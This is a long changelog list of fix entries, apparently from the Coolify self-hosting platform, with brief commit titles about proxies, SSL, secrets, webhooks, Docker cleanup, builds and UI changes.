-- PreventDefault on a button, thats all
-- Haproxy check should not throw error
-- Delete all build files
-- Cleanup images
-- More error handling in proxy configuration + cleanups
-- Local static assets
-- Check sentry
-- Typo
-- Package.json
-- Build secrets should be visible in runtime
-- New secret should have default values
-- Validate secrets
-- Truncate git clone errors
-- Branch used does not throw error
-- Typo
-- Error handling
-- Stopping service without proxy
-- Coolify proxy start
-- Window error in SSR
-- GitHub sync PR's
-- Load more button
-- Small fixes
-- Typo
-- Error with follow logs
-- IsDomainConfigured
-- TransactionIds
-- Coolify image cleanup
-- Cleanup every 10 mins
-- Cleanup images
-- Add no user redis to uri
-- Secure cookie disabled by default
-- Buggy svelte-kit-cookie-session
-- Login issues
-- SSL app off
-- Local docker host
-- Typo
-- Lets encrypt
-- Remove SSL with stop
-- SSL off for services
-- Grr
-- Running state css
-- Minor fixes
-- Remove force SSL when doing let's encrypt request
-- GhToken in session now
-- Random port for certbot
-- Follow icon
-- Plausible volume fixed
-- Database connection strings
-- Gitlab webhooks fixed
-- If DNS not found, do not redirect
-- Github token
-- Move tokens from session to cookie/store
-- Email is lowercased in login
-- Lowercase email everywhere
-- Use normal docker-compose in dev
-- Random network name for demo
-- Settings fqdn grr
-- Revert default network
-- Http for demo, oops
-- Docker scanner
-- Improvement on image pulls
-- Coolify image pulls
-- Remove wrong/stuck proxy configurations
-- Always use a buildpack
-- Add icons for eleventy + astro
-- Fix proxy every 10 secs
-- Do not remove coolify proxy
-- Update version
-- Be sure .env exists
-- Missing fqdn for services
-- Default npm command
-- Add coolify-image label for build images
-- Cleanup old images, > 3 days
-- Better proxy check
-- Ssl + sslrenew
-- Null proxyhash on restart
-- Reconfigure proxy on restart
-- Update process
-- Reload proxy on ssl cert
-- Volume name
-- Update process
-- Check when a container is running
-- Reload haproxy if new cert is added
-- Cleanup coolify images
-- Application state in UI
-- Do not error if proxy is not running
-- Personal Gitlab repos
-- Autodeploy true by default for GH repos
-- No cookie found
-- Missing session data
-- No error if GitSource is missing
-- No webhook secret found?
-- Basedir for dockerfiles
-- Better queue system + more support on monorepos
-- Remove build logs in case of app removed
-- Cleanup old builds
-- Only cleanup same app
-- Add nginx + htaccess files
-- Skip ssl cert in case of error
-- Volumes
-- Cleanup only 2 hours+ old images
-- Ghost logo size
-- Ghost icon, remove console.log
-- List ghost services
-- Reload window on settings saved
-- Persistent storage on webhooks
-- Add license
-- Space in repo names
-- Gitlab repo url
-- No need to dashify anymore
-- Registration enabled/disabled
-- Add PROTO headers
-- Haproxy errors
-- Build variables
-- Use NodeJS for sveltekit for now
-- Ignore coolify proxy error for now
-- Python no wsgi
-- If user not found
-- Rename envs to secrets
-- Infinite loop on www domains
-- No need to paste clear text env for previews
-- Build log fix attempt #1
-- Small UI fix on logs
-- Lets await!
-- Async progress
-- Remove console.log
-- Build log
-- UI
-- Gitlab & Github urls
-- Secrets build/runtime coudl be changed after save
-- Default configuration
-- *(php)* If .htaccess file found use apache
-- Add default webhook domain for n8n
-- Add git lfs while deploying
-- Try to update build status several times
-- Update stucked builds
-- Update stucked builds on startup
-- Revert seed
-- Lame fixing
-- Remove asyncUntil
-- Add openssl to image
-- Permission issues
-- On-demand sFTP for wp
-- Fix for fix haha
-- Do not pull latest image
-- Updated db versions
-- Only show proxy for admin team
-- Team view for root team
-- Do not trigger >1 webhooks on GitLab
-- Possible fix for spikes in CPU usage
-- Last commit
-- Www or not-www, that's the question
-- Fix for the fix that fixes the fix
-- Ton of updates for users/teams
-- Small typo
-- Unique storage paths
-- Self-hosted GitLab URL
-- No line during buildLog
-- Html/apiUrls cannot end with /
-- Typo
-- Missing buildpack
-- Enable https for Ghost
-- Postgres root passwor shown and set
-- Able to change postgres user password from ui
-- DB Connecting string generator
-- Missing install repositories GitHub
-- Return own and other sources better
-- Show config missing on sources
-- Remove unnecessary save button haha
-- Update dockerfile
-- Haproxy build stuffs
-- Proxy
-- Types
-- Invitations
-- Timeout values
-- Cleanup images older than a day
-- Meilisearch service
-- Load all branches, not just the first 30
-- ProjectID for Github
-- DNS check before creating SSL cert
-- Try catch me
-- Restart policy for resources
-- No permission on first registration
-- Reverting postgres password for now
-- Destinations to HAProxy
-- Register should happen if coolify proxy cannot be started
-- GitLab typo
-- Remove system wide pw reset
-- Postgres root pw is pw field
-- Teams view
-- Improved tcp proxy monitoring for databases/ftp
-- Add HTTP proxy checks
-- Loading of new destinations
-- Better performance for cleanup images
-- Remove proxy container in case of dependent container is down
-- Restart local docker coolify proxy in case of something happens to it
-- Id of service container
-- Switch from bitnami/redis to normal redis
-- Use redis-alpine
-- Wordpress extra config
-- Stop sFTP connection on wp stop
-- Change user's id in sftp wp instance
-- Use arm based certbot on arm
-- Buildlog line number is not string
-- Application logs paginated
-- Switch to stream on applications logs
-- Scroll to top for logs
-- Pull new images for services all the time it's started.
-- White-labeled custom logo
-- Application logs
-- Deno configurations
-- Text on deno buildpack
-- Correct branch shown in build logs
-- Vscode permission fix
-- I18n
-- Locales
-- Application logs is not reversed and queried better
-- Do not activate i18n for now
-- GitHub token cleanup on team switch
-- No logs found
-- Code cleanups
-- Reactivate posgtres password
-- Contribution guide
-- Simplify list services
-- Contribution
-- Contribution guide
-- Contribution guide
-- Packagemanager finder
-- Unami svg size
-- Team switching moved to IAM menu
-- Always use IP address for webhooks
-- Remove unnecessary test endpoint
-- UI
-- Migration
-- Fider envs
-- Checking low disk space
-- Build image
-- Update autoupdate env variable
-- Renew certificates
-- Webhook build images
-- Missing node versions
-- ExposedPorts
-- Logos for dbs
-- Do not run SSL renew in development
-- Check domain for coolify before saving
-- Remove debug info
-- Cancel jobs
-- Cancel old builds in database
-- Better DNS check to prevent errors
-- Check DNS in prod only
-- DNS check
-- Disable sentry for now
-- Cancel
-- Sentry
-- No image for Docker buildpack
-- Default packagemanager
-- Server usage only shown for root team
-- Expose ports for services
-- UI
-- Navbar UI
-- UI
-- UI
-- Remove RC python
-- UI
-- UI
-- UI
-- Default Python package
-- WP custom db
-- UI
-- Gastby buildpack
-- Service checks
-- Remove console.log
-- Traefik
-- Remove debug things
-- WIP Traefik
-- Proxy for http
-- PR deployments view
-- Minio urls + domain checks
-- Remove gh token on git source changes
-- Do not fetch app state in case of missconfiguration
-- Demo instance save domain instantly
-- Instant save on demo instance
-- New source canceled view
-- Lint errors in database services
-- Otherfqdns
-- Host key verification
-- Ftp connection
-- GitHub fixes
-- TrustProxy
-- Force restart proxy
-- Only restart coolify proxy in case of version prior to 2.9.2
-- Force restart proxy on seeding
-- Add GIT ENV variable for submodules
-- Recurisve clone instead of submodule
-- Versions
-- Only reconfigure coolify proxy if its missconfigured
-- Demo version forms
-- Typo
-- Revert gh and gl cloning
-- Proxy stop missing argument
-- Fider changed an env variable name
-- Pnpm command
-- Plausible custom script
-- Plausible script and middlewares
-- Remove console log
-- Remove comments
-- Traefik middleware
-- Persistent nocodb
-- Nocodb persistency
-- Host and reload for uvicorn
-- Remove package-lock
-- Be able to change database + service versions
-- Lock file
-- Seeding
-- Forgot that the version bump changed 😅
-- New destination can be created
-- Include post
-- New destinations
-- Domain check
-- Domain check
-- TrustProxy for Fastify
-- Hostname issue
-- GitLab pagination load data
-- Service domain checker
-- Wp missing ftp solution
-- Ftp WP issues
-- Ftp?!
-- Gitpod updates
-- Gitpod
-- Gitpod
-- Wordpress FTP permission issues
-- GitLab search fields
-- GitHub App button
-- GitLab loop on misconfigured source
-- Gitpod
-- Cleanup less often and can do it manually
-- Admin password reset should not timeout
-- Message for double branches
-- Turn off autodeploy if double branch is configured
-- More types for API
-- More types
-- Do not rebuild in case image exists and sha not changed
-- Gitpod urls
-- Remove new service start process
-- Remove shared dir, deployment does not work
-- Gitlab custom url
-- Location url for services and apps
-- Settings from api
-- Selectable destinations
-- Gitpod hardcodes
-- Typo
-- Typo
-- Expose port checker
-- States and exposed ports
-- CleanupStorage
-- Remote traefik webhook
-- Remote engine ip address
-- RemoteipAddress
-- Explanation for remote engine url
-- Tcp proxy
-- Lol
-- Webhook
-- Dns check for rde
-- Gitpod
-- Revert last commit
-- Dns check
-- Dns checker
-- Webhook
-- Df and more debug
-- Webhooks
-- Load previews async
-- Destination icon
-- Pr webhook
-- Cache image
-- No ssh key found
-- Prisma migration + update of docker and stuffs
-- Ui
-- Ui
-- Only 1 ssh-agent is needed
-- Reuse ssh connection
-- Ssh tunnel
-- Dns checking
-- Fider BASE_URL set correctly
-- Rde local ports
-- Empty remote destinations could be removed
-- Tips
-- Lowercase issues fider
-- Tooltip colors
-- Update clickhouse configuration
-- Cleanup command
-- Enterprise Github instance endpoint
-- Follow/cancel buttons
-- Only remove coolify managed containers
-- White-labeled env
-- Schema
-- Coolify-network on verification
-- Cleanup stucked prisma-engines
-- Toast
-- Secrets
-- Cleanup prisma engine if there is more than 1
-- !isARM to isARM
-- Enterprise GH link
-- Empty buildpack icons
-- Debounce dashboard status requests
-- Decryption errors
-- Postgresql  on ARM
-- Make it public button
-- Loading indicator
-- Replace docker compose with docker-compose on CSB
-- Dashboard ui
-- Create coolify-infra, if it does not exists
-- Gitpod conf and heroku buildpacks
-- Appwrite
-- Autoimport + readme
-- Services import
-- Heroku icon
-- Heroku icon
-- Dns button ui
-- Bot deployments
-- Bots
-- AutoUpdater & cleanupStorage jobs
-- Revert docker compose version to 2.6.1
-- Trim secrets
-- Restart containers on-failure instead of always
-- Show that Ghost values could be changed
-- Bots without exposed ports
-- Missing commas
-- ExposedPort is just optional
-- Port checker
-- Cancel build after 5 seconds
-- ExposedPort checker
-- Batch secret =
-- Dashboard for non-root users
-- Stream build logs
-- Show build log start/end
-- Ui buttons
-- Clear queue on cancelling jobs
-- Cancelling jobs
-- Dashboard for admins
-- Never stop deplyo queue
-- Build queue system
-- High cpu usage
-- Worker
-- Better worker system
-- Secrets decryption
-- UI thinkgs
-- Delete team while it is active
-- Team switching
-- Queue cleanup
-- Decrypt secrets
-- Cleanup build cache as well
-- Pr deployments + remove public gits
-- Copy all files during install process
-- Typo
-- Process
-- White labeled icon on navbar
-- Whitelabeled icon
-- Next/nuxt deployment type
-- Again
-- Pr deployment
-- CompareVersions
-- Include
-- Include
-- Gitlab apps
-- Oh god Prisma
-- Glitchtip things
-- Loading state on start
-- Ui
-- Submodule
-- Gitlab webhooks
-- UI + refactor
-- Exposedport on save
-- Appwrite letsencrypt
-- Traefik appwrite
-- Traefik
-- Finally works! :)
-- Rename components + remove PR/MR deployment from public repos
-- Settings missing id
-- Explainer component
-- Database name on logs view
-- Taiga
-- Ssh pid agent name
-- Repository link trim
-- Fqdn or expose port required
-- Service deploymentEnabled
-- Expose port is not required
-- Remote verification
-- Dockerfile
-- Debug api logging + gh actions
-- Workdir
-- Move restart button to settings
-- Gitlab webhook
-- Use ip address instead of window location
-- Use ip instead of window location host
-- Service state update
-- Add initial DNS servers
-- Revert last change with domain check
-- Service volume generation
-- Minio default env variables
-- Add php 8.1/8.2
-- Edgedb ui
-- Edgedb stuff
-- Edgedb
-- Pr previews
-- DnsServer formatting
-- Settings for service
-- Change to execa from utils
-- Save search input
-- Ispublic status on databases
-- Port checkers
-- Ui variables
-- Glitchtip env to pyhton boolean
-- Autoupdater
-- Show restarting apps
-- Show restarting application & logs
-- Remove unnecessary gitlab group name
-- Secrets for PR
-- Volumes for services
-- Build secrets for apps
-- Delete resource use window location
-- Changing umami image URL to get latest version
-- Gitlab importer for public repos
-- Show error logs
-- Umami init sql
-- Plausible analytics actions
-- Login
-- Dev url
-- UpdateMany build logs
-- Fallback to db logs
-- Fluentbit configuration
-- Coolify update
-- Fluentbit and logs
-- Canceling build
-- Logging
-- Load more
-- Build logs
-- Versions of appwrite
-- Appwrite?!
-- Get building status
-- Await
-- Await #2
-- Update PR building status
-- Appwrite default version 1.0
-- Undead endpoint does not require JWT
-- *(routes)* Improve design of application page
-- *(routes)* Improve design of git sources page
-- *(routes)* Ui from destinations page
-- *(routes)* Ui from databases page
-- *(routes)* Ui from databases page
-- *(routes)* Ui from databases page
-- *(routes)* Ui from services page
-- *(routes)* More ui tweaks
-- *(routes)* More ui tweaks
-- *(routes)* More ui tweaks
-- *(routes)* More ui tweaks
-- *(routes)* Ui from settings page
-- *(routes)* Duplicates classes in services page
-- *(routes)* Searchbar ui
-- Github conflicts
-- *(routes)* More ui tweaks
-- *(routes)* More ui tweaks
-- *(routes)* More ui tweaks
-- *(routes)* More ui tweaks
-- Ui with headers
-- *(routes)* Header of settings page in databases
-- *(routes)* Ui from secrets table
-- Ui
-- Tooltip
-- Dropdown
-- Ssl certificate distribution
-- Db migration
-- Multiplex ssh connections
-- Able to search with id
-- Not found redirect
-- Settings db requests
-- Error during saving logs
-- Consider base directory in heroku bp
-- Basedirectory should be empty if null
-- Allow basedirectory for heroku
-- Stream logs for heroku bp
-- Debug log for bp
-- Scp without host verification & cert copy
-- Base directory & docker bp
-- Laravel php chooser
-- Multiplex ssh and ssl copy
-- Seed new preview secret types
-- Error notification
-- Empty preview value
-- Error notification
-- Seed
-- Service logs
-- Appwrite function network is not the default
-- Logs in docker bp
-- Able to delete apps in unconfigured state
-- Disable development low disk space
-- Only log things to console in dev mode
-- Do not get status of more than 10 resources defined by category
-- BaseDirectory
-- Dashboard statuses
-- Default buildImage and baseBuildImage
-- Initial deploy status
-- Show logs better
-- Do not start tcp proxy without main container
-- Cleanup stucked tcp proxies
-- Default 0 pending invitations
-- Handle forked repositories
-- Typo
-- Pr branches
-- Fork pr previews
-- Remove unnecessary things
-- Meilisearch data dir
-- Verify and configure remote docker engines
-- Add buildkit features
-- Nope if you are not logged in
-- Do not use npx
-- Pure docker based development
-- Do not show nope as ip address for dbs
-- Add git sha to build args
-- Smart search for new services
-- Logs for not running containers
-- Update docker binaries
-- Gh release
-- Dev container
-- Gitlab auth and compose reload
-- Check compose domains in general
-- Port required if fqdn is set
-- Appwrite v1 missing containers
-- Dockerfile
-- Pull does not work remotely on huge compose file
-- Single container logs and usage with compose
-- Secret errors
-- Service logs
-- Heroku bp
-- Expose port is readonly on the wrong condition
-- Toast
-- Traefik proxy q 10s
-- App logs view
-- Tooltip
-- Toast, rde, webhooks
-- Pathprefix
-- Load public repos
-- Webhook simplified
-- Remote webhooks
-- Previews wbh
-- Webhooks
-- Websecure redirect
-- Wb for previews
-- Pr stopps main deployment
-- Preview wbh
-- Wh catchall for all
-- Remove old minio proxies
-- Template files
-- Compose icon
-- Templates
-- Confirm restart service
-- Template
-- Templates
-- Templates
-- Plausible analytics things
-- Appwrite webhook
-- Coolify instance proxy
-- Migrate template
-- Preview webhooks
-- Simplify webhooks
-- Remove ghost-mariadb from the list
-- More simplified webhooks
-- Umami + ghost issues
-- Remove contribution docs
-- Umami template
-- Compose webhooks fixed
-- Variable replacements
-- Doc links
-- For rollback
-- N8n and weblate icon
-- Expose ports for services
-- Wp + mysql on arm
-- Show rollback button loading
-- No tags error
-- Update on mobile
-- Dashboard error
-- GetTemplates
-- Docker compose persistent volumes
-- Application persistent storage things
-- Volume names for undefined volume names in compose
-- Empty secrets on UI
-- Ports for services
-- Default icon for new services
-- IsBot issue
-- Local dev api/ws urls
-- Wrong template/type
-- Gitea icon is svg
-- Gh actions
-- Gh actions
-- Replace $$generate vars
-- Webhook traefik
-- Exposed ports
-- Wrong icons on dashboard
-- Escape % in secrets
-- Move debug log settings to build logs
-- Storage for compose bp + debug on
-- Hasura admin secret
-- Logs
-- Mounts
-- Load logs after build failed
-- Accept logged and not logged user in /base
-- Remote haproxy password/etc
-- Remove hardcoded sentry dsn
-- Nope in database strings
-- 0 destinations redirect after creation
-- Seed
-- Sentry dsn update
-- Dnt
-- Ui
-- Only visible with publicrepo
-- Migrations
-- Prevent webhook errors to be logged
-- Login error
-- Remove beta from systemwide git
-- Git checkout
-- Remove sentry before migration
-- Webhook previewseparator
-- Apache on arm
-- Update PR/MRs with new previewSeparator
-- Static for arm
-- Failed builds should not push images
-- Turn off autodeploy for simpledockerfiles
-- Security hole
-- Rde
-- Delete resource on dashboard
-- Wrong port in case of docker compose
-- Public db icon on dashboard
-- Cleanup
-- Build commands
-- Migration file
-- Adding missing appwrite volume
-- Appwrite tmp volume
-- Do not replace secret
-- Root user for dbs on arm
-- Escape secrets
-- Escape env vars
-- Envs
-- Docker buildpack env
-- Secrets with newline
-- Secrets
-- Add default node_env variable
-- Add default node_env variable
-- Secrets
-- Secrets
-- Gh actions
-- Duplicate env variables
-- Cleanupstorage
-- Remove unused imports
-- Parsing secrets
-- Read-only permission
-- Read-only iam
-- $ sign in secrets
-- Custom gitlab git user
-- Add documentation link again
-- Remove prefetches
-- Doc link
-- Temporary disable dns check with dns servers
-- Local images for reverting
-- Secrets
-- Compose file location
-- Docker log sequence
-- Delete apps with previews
-- Do not cleanup compose applications as unconfigured
-- Build env variables with docker compose
-- Public gh repo reload compose
-- Build args docker compose
-- Grpc
-- Secrets
-- Www redirect
-- Cleanup function
-- Cleanup stucked containers
-- Deletion + cleanupStuckedContainers
-- Stucked containers
-- CleanupStuckedContainers
-- CleanupStuckedContainers
-- Typos in docs
-- Url
-- Network in compose files
-- Escape new line chars in wp custom configs
-- Applications cannot be deleted
-- Arm servics
-- Base directory not found
-- Cannot delete resource when you are not on root team
-- Empty port in docker compose
-- Set PACK_VERSION to 0.27.0
-- PublishDirectory
-- Host volumes
-- Replace . & .. & $PWD with ~
-- Handle log format volumes
-- Nestjs buildpack
-- Show ip address as host in public dbs
-- Revert from dockerhub if ghcr.io does not exists
-- Logo of CCCareers
-- Typo
-- Ssh
-- Nullable name on deploy_keys
-- Enviroments
-- Remove dd - oops
-- Add inprogress activity
-- Application view
-- Only set status in case the last command block is finished
-- Poll activity
-- Small typo
-- Show activity on load
-- Deployment should fail on error
-- Tests
-- Version
-- Status not needed
-- No project redirect
-- Gh actions
-- Set status
-- Seeders
-- Do not modify localhost
-- Deployment_uuid -> type_uuid
-- Read env from config, bc of cache
-- Private key change view
-- New destination
-- Do not update next channel all the time
-- Cancel deployment button
-- Public repo limit shown + branch should be preselected.
-- Better status on ui for apps
-- Arm coolify version
-- Formatting
-- Gh actions
-- Show github app secrets
-- Do not force next version updates
-- Debug log button
-- Deployment key based works
-- Deployment cancel/debug buttons
-- Upgrade button
-- Changing static build changes port
-- Overwrite default nginx configuration
-- Do not overlap docker image names
-- Oops
-- Found image name
-- Name length
-- Semicolons encoding by traefik
-- Base_dir wip & outputs
-- Cleanup docker images
-- Nginx try_files
-- Master is the default, not main
-- No ms in rate limit resets
-- Loading after button text
-- Default value
-- Localhost is usable
-- Update docker-compose prod
-- Cloud/checkoutid/lms
-- Type of license code
-- More verbose error
-- Version lol
-- Update prod compose
-- Version
-- Remove buggregator from dev
-- Able to change localhost's private key
-- Readonly input box
-- Notifications
-- Licensing
-- Subscription link
-- Migrate db schema for smtp + discord
-- Text field
-- Null fqdn notifications
-- Remove old modal
-- Proxy stop/start ui
-- Proxy UI
-- Empty description
-- Input and textarea
-- Postgres_username name to not name, lol
-- DatabaseBackupJob.php
-- No storage
-- Backup now button
-- Ui + subscription
-- Self-hosted
-- Make coolify-db backups unique dir
-- Limits & server creation page
-- Fqdn on apps
-- DockerCleanupjob
-- Validation
-- Webhook endpoint in cloud and no system wide gh app
-- Subscriptions
-- Password confirmation
-- Proxy start job
-- Dockerimage jobs are not overlapping
-- Sentry bug
-- Button loading animation
-- Form address
-- Show hosted email service, just disable for non pro subs
-- Add navbar for source + keys
-- Add docker network to build process
-- Overlapping apps
-- Do not show system wide git on cloud
-- Lowercase image names
-- Typo
-- SaveModel email settings
-- Bug
-- Db backup job
-- Sentry 4459819517
-- Sentry 4451028626
-- Ui
-- Retry notifications
-- Instance email settings
-- Ui
-- Test email on for admins or custom smtp
-- Coolify already exists should not throw error
-- Delete database related things when delete database
-- Remove -q from docker compose
-- Errors in views
-- Only send internal notifcations to enabled channels
-- Recovery code
-- Email sending error
-- Sentry 4469575117
-- Old docker version error
-- Errors
-- Proxy check, reduce jobs, etc
-- Queue after commit
-- Remove nixpkgarchive
-- Remove nixpkgarchive from ui
-- Webhooks should not run if server is not functional
-- Server is functional check
-- Confirm email before sending
-- Help should send cc on email
-- Sub type
-- Show help modal everywhere
-- Forgot password
-- Disable dockerfile based healtcheck for now
-- Add timeout for ssh commands
-- Prevent weird ui bug for validateServer
-- Lowercase email in forgot password
-- Lower case email on waitlist
-- Encrypt jobs
-- ProcessWithEnv()->run
-- Plus boarding step about Coolify
-- SaveConfigurationSync
-- Help uri
-- Sub for root
-- Redirect on server not found
-- Ip check
-- Uniqueips
-- Simply reply to help messages
-- Help
-- Rate limit
-- Collect billing address
-- Invitation
-- Smtp view
-- Ssh-agent revert
-- Restarting container state on ui
-- Generate new key
-- Missing upgrade js
-- Team error
-- 4.0.0-beta.37
-- Localhost
-- Proxy start (if not proxy defined, use Traefik)
-- Do not remove localhost in boarding
-- Allow non ip address (DNS)
-- InstallDocker id not found
-- Boarding
-- Errors
-- Proxy container status
-- Proxy configuration saving
-- Convert startProxy to action
-- Stop/start UI on apps and dbs
-- Improve localhost boarding process
-- Try to use old docker-compose
-- Boarding again
-- Send internal notifications of email errors
-- Add github app change on new app view
-- Delete environment variables on app/db delete
-- Save proxy configuration
-- Add proxy to network with periodic check
-- Proxy connections
-- Delete persistent storages on resource deletion
-- Prevent overwrite already existing env variables in services
-- Mappings
-- Sentry issue 4478125289
-- Make sure proxy path created
-- StartProxy
-- Server validation with cf tunnels
-- Only show traefik dashboard if its available
-- Services
-- Database schema
-- Report livewire errors
-- Links with path
-- Add traefik labels no matter if traefik is selected or not
-- Add expose port for containers
-- Also check docker socks permission on validation
-- Applications with port mappins do a normal update (not rolling update)
-- Put back build pack chooser
-- Proxy configuration + starter
-- Show real storage name on services
-- New service template layout
-- Containerstatusjob
-- Aaaaaaaaaaaaaaaaa
-- Services view
-- Services
-- Manually create network for services
-- Disable early updates
-- Sslip for localhost
-- ContainerStatusJob
-- Cannot delete env with available services
-- Sync command
-- Install script drops an error
-- Prevent sync version (it needs an option)
-- Instance fqdn setting
-- Sentry 4510197209
-- Sentry 4504136641
-- Sentry 4502634789
-- Next helper image
-- Service templates
-- Sync:bunny
-- Update process if server has been renamed
-- Reporting handler
-- Localhost privatekey update
-- Remove private key in case you removed a github app
-- Only show manually added private keys on server view
-- Show source on all type of applications
-- Docker cleanup should be a job by server
-- File/dir based volumes are now read from the server
-- Respect server fqdn
-- If public repository does not have a main branch
-- Preselect branc on private repos
-- Deploykey branch
-- Backups are now working again
-- Not found base_branch in git webhooks
-- Coolify db backup
-- Preview deployments name, status etc
-- Services should have destination as well
-- Dockerfile expose is not overwritten
-- If app settings is not saved to db
-- Do not show subscription cancelled noti
-- Show real volume names
-- Only parse expose in dockerfiles if ports_exposes is empty
-- Add uuid to volume names
-- New volumes for services should have - instead of _
-- Always pull helper image in dev
-- Only show last 1000 lines
-- Service status
-- If waitlist is disabled, redirect to register
-- Add destination to new services
-- Predefined content for files
-- Move /data to ./_data in dev
-- UI
-- Show all storages in one place for services
-- Ui
-- Add _data to vite ignore
-- Only use _ in volume names for services
-- Volume names in services
-- Volume names
-- Service logs visible if the whole service stack is not running
-- Ui
-- Compose magic
-- Compose parser updated
-- Dev compose files
-- Traefik labels for multiport deployments
-- Visible version number
-- Remove SERVICE_ from deployable compose
-- Delete event to deleting
-- Move dev data to volumes to prevent permission issues
-- Traefik labelling in case of several http and https domain added
-- PR deployments use the first fqdn as base
-- Email notifications subscription fixed
-- Services - do not remove unnecessary things for now
-- Decrease max horizon processes to get lower memory usage
-- Test emails only available for user owned smtp/resend
-- Ui for self-hosted email settings
-- Set smtp notifications on by default
-- Select branch on other git
-- Private repository
-- Contribution guide
-- Public repository names
-- *(create)* Flex wrap on server & network selection
-- Better unreachable/revived server statuses
-- Able to set base dir for Dockerfile build pack
-- Server validation process
-- Fqdn could be null
-- Small
-- Server unreachable count
-- Do not reset unreachable count
-- Contact docs
-- Check connection
-- Server saving
-- No env goto envs from dashboard
-- Goto
-- Tcp proxy for dbs
-- Database backups
-- Only send email if transactional email set
-- Backupfailed notification is forced
-- Use port exposed for reverse proxy
-- Contact link
-- Use only ip addresses for servers
-- Deleted team and it is the current one
-- Add new team button
-- Transactional email link
-- Dashboard goto link
-- Only require registry image in case of dockerimage bp
-- Instant save build pack change
-- Public git
-- Cannot remove localhost
-- Check localhost connection
-- Send unreachable/revived notifications
-- Boarding + verification
-- Make sure proxy wont start in NONE mode
-- Service check status 10 sec
-- IsCloud in production seeder
-- Make sure to use IP address
-- Dockerfile location feature
-- Server ip could be hostname in self-hosted
-- Urls should be password fields
-- No backup for redis
-- Show database logs in case of its not healthy and running
-- Proxy check for ports, do not kill anything listening on port 80/443
-- Traefik dashboard ip
-- Db labels
-- Docker cleanup jobs
-- Timeout for instant remote processes
-- Dev containerjobs
-- Backup database one-by-one.
-- Turn off static deployment if you switch buildpacks
-- Docker hub URL
-- Redis URL generated
-- Build image before starting dockerfile buildpacks
-- Service status check is a bit better
-- Generate fqdn if you deleted a service app, but it requires fqdn
-- Cancel any deployments + queue next
-- Add internal domain names during build process
-- Noindex meta tag
-- Show docker build logs
-- Only include config.json if its exists and a file
-- Always start proxy if not NONE is selected
-- Proxy start process
-- Setup:dev script & contribution guide
-- Do not show configuration changed if config_hash is null
-- Add config_hash if its null (old deployments)
-- Label generation
-- Labels
-- Email channel no recepients
-- Limit horizon processes to 2 by default
-- Add custom port as ssh option to deploy_key based commands
-- Remove custom port from git repo url
-- ContainerStatus job
-- Service docs links
-- Add PGUSER to prevent HC warning
-- Preselect s3 storage if available
-- Port exposes change, shoud regenerate label
-- Boarding
-- Clone to with the same environment name
-- Cleanup stucked resources on start
-- Do not allow to delete env if a resource is defined
-- Service template generator + appwrite
-- Mongodb backup
-- Make sure coolfiy network exists on install
-- Syncbunny command
-- Encrypt mongodb password
-- Mongodb healtcheck command
-- Rate limit for api + add mariadb + mysql
-- Server settings guarded
-- Space in build args
-- Lock SERVICE_FQDN envs
-- If user is invited, that means its email is verified
-- Force password reset on invited accounts
-- Add ssh options to git ls-remote
-- Git ls-remote
-- Remove coolify labels from ui
-- Missing environment variables prevewi on service
-- Invoice.paid should sleep for 5 seconds
-- Local dev repo
-- Deployments ui
-- Dockerfile build pack fix
-- Set labels on generate domain
-- Network service parse
-- Notification url in containerstatusjob
-- Gh webhook response 200 to installation_repositories
-- Delete destination
-- No id found
-- Missing $mailMessage
-- Set default from/sender names
-- No environments
-- Telegram text
-- Private key not found error
-- UI
-- Resourcesdelete command
-- Port number should be int
-- Separate delete with validation of server
-- Add nixpacks info
-- Remove filter
-- Container logs are now followable in full-screen and sorted by timestamp
-- Ui for labels
-- Ui
-- Deletions
-- Build_image not found
-- Github source view
-- Github source view
-- Dockercleanupjob should be released back
-- Ui
-- Local ip address
-- Revert workdir to basedir
-- Container status jobs for old pr deployments
-- Service updates
-- *(fider template)* Use the correct docs url
-- Fqdn for minio
-- Generate service fields
-- Mariadb backups
-- When to pull image
-- Do not allow to enter local ip addresses
-- Reset password
-- Only report nonruntime errors
-- Handle different label formats in services
-- Server adding process
-- Show defined resources in server tab, so you will know what you need to delete before you can delete the server.
-- Lots of regarding git + docker compose deployments
-- Pull request build variables
-- Double default password length
-- Do not remove deployment in case compose based failed
-- No container servers
-- Sentry issue
-- Dockercompose save ./ volumes under /data/coolify
-- Server view for link()
-- Default value do not overwrite existing env value
-- Use official install script with rancher (one will work for sure)
-- Add cf tunnel to boarding server view
-- Prevent autorefresh of proxy status
-- Missing docker image thing
-- Add hc for soketi
-- Deploy the right compose file
-- Bind volumes for compose bp
-- Use hc port 80 in case of static build
-- Switching to static build
-- Container selection
-- Service navbar using new realtime events
-- Do not create duplicated networks
-- Live event
-- Service start + event
-- Service deletion job
-- Double ws connection
-- Boarding view
-- Do not send telegram noti  on intent payment failed
-- Database ui is realtime based
-- Live mode for github webhooks
-- Ui
-- Realtime connection popup could be disabled
-- Realtime check
-- Add new destination
-- Proxy logs
-- Db status check
-- Pusher host
-- Add ipv6
-- Realtime connection?!
-- Websocket
-- Better handling of errors with install script
-- Install script parse version
-- Only allow to modify in .env file if AUTOUPDATE is set
-- Is autoupdate not null
-- Run init command after production seeder
-- Init
-- Comma in traefik custom labels
-- Ignore if dynamic config could not be set
-- Service env variable ovewritten if it has a default value
-- Labelling
-- Non-ascii chars in labels
-- Labels
-- Init script echos
-- Update Coolify script
-- Null notify
-- Check queued deployments as well
-- Copy invitation
-- Password reset / invitation link requests
-- Add catch all route
-- Revert random container job delay
-- Backup executions view
-- Only check server status in container status job
-- Improve server status check times
-- Handle other types of generated values
-- Server checking status
-- Ui for adding new destination
-- Reset domains on compose file change
-- Domains for compose bp
-- No action in webhooks
-- Add debug output to gitlab webhooks
-- Do not push dockerimage
-- Add alpha to swarm
-- Server not found
-- Do not autovalidate server on mount
-- Server update schedule
-- Swarm support ui
-- Server ready
-- Get swarm service logs
-- Docker compose apps env rewritten
-- Storage error on dbs
-- Why?!
-- Stay tuned
-- Cpu limit to float from int
-- Add source commit to final envs
-- Routing, switch back to old one
-- Deploy instead of restart in case swarm is used
-- Button title
-- Restore falsely deleted coolify-db-backup
-- Sub
-- Wrong env variable parsing
-- Deploy key + docker compose
-- Horizon
-- Duplicate compose variable
-- Set deployment failed if new container is not healthy
-- Nixpacks cache
-- Only add restart policy if its empty (compose)
-- Nixpacks buildpack
-- File storage save
-- Database env variables
-- Healthy status
-- Show framework based notification in build logs
-- Traefik labels
-- Use ip for sslip in dev if remote server is used
-- Service labels without ports (unknown ports)
-- Sort and rename (unique part) of labels
-- Settings menu
-- Remove traefik debug in dev mode
-- Php pgsql to 8.2
-- Static buildpack should set port 80
-- Update navbar on build_pack change
-- Do not include thegameplan.json into build image
-- Submit error on postgresql
